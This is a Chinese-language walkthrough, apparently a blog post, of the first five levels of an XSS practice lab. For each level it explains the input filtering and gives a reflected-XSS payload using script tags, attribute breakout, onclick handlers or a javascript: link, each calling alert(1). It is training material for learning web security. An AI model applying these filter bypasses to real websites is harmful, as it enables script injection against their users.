level 1
很简单的payload

http://172.22.6.165:91/level1.php?name=<script>alert(1)</script>

level 2

<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和1相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword value="1">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:1</h3></body>
</html>
f12查看网站源码 看到 输入的值被当作value传入
用 "> 闭合掉前面的尖括号
payload:
level2.php?keyword="><script>alert(1)</script>submit=

level 3
使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素
但是默认是只编码双引号的,而且单引号无论如何都不转义。
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
| 原始字符 | 转义后的 HTML 实体 | 转义目的 |
|---|---|---|
| & | & |
防止用于拼接其他 HTML 实体 |
| < | < |
防止 HTML 标签的注入 |
| > | > |
防止 HTML 标签的闭合 |
| " | " |
防止在双引号包裹的 HTML 属性中跳出 |

鼠标点击
payload:
'onclick'=alert(1)
点击一下输入框

level 4
在上一关的基础上 多了< 尖括号的过滤
str_replace(">","",$str); 查找字符串是否有>号,有则替换为空
payload:
" onclick="alert(1)

level 5 (javascript伪协议标签)

注入鼠标事件 发现 鼠标事件也被过滤了 那么需要使用a标签的JavaScript伪协议实现href属性支持JavaScript:伪协议,则:后面的代码会被当成JavaScript来执行。注意这里还需要闭合input标签。
payload:
"><a href=javascript:alert(1)>


最低0.47元/天 解锁文章
6万+

被折叠的 条评论
为什么被折叠?



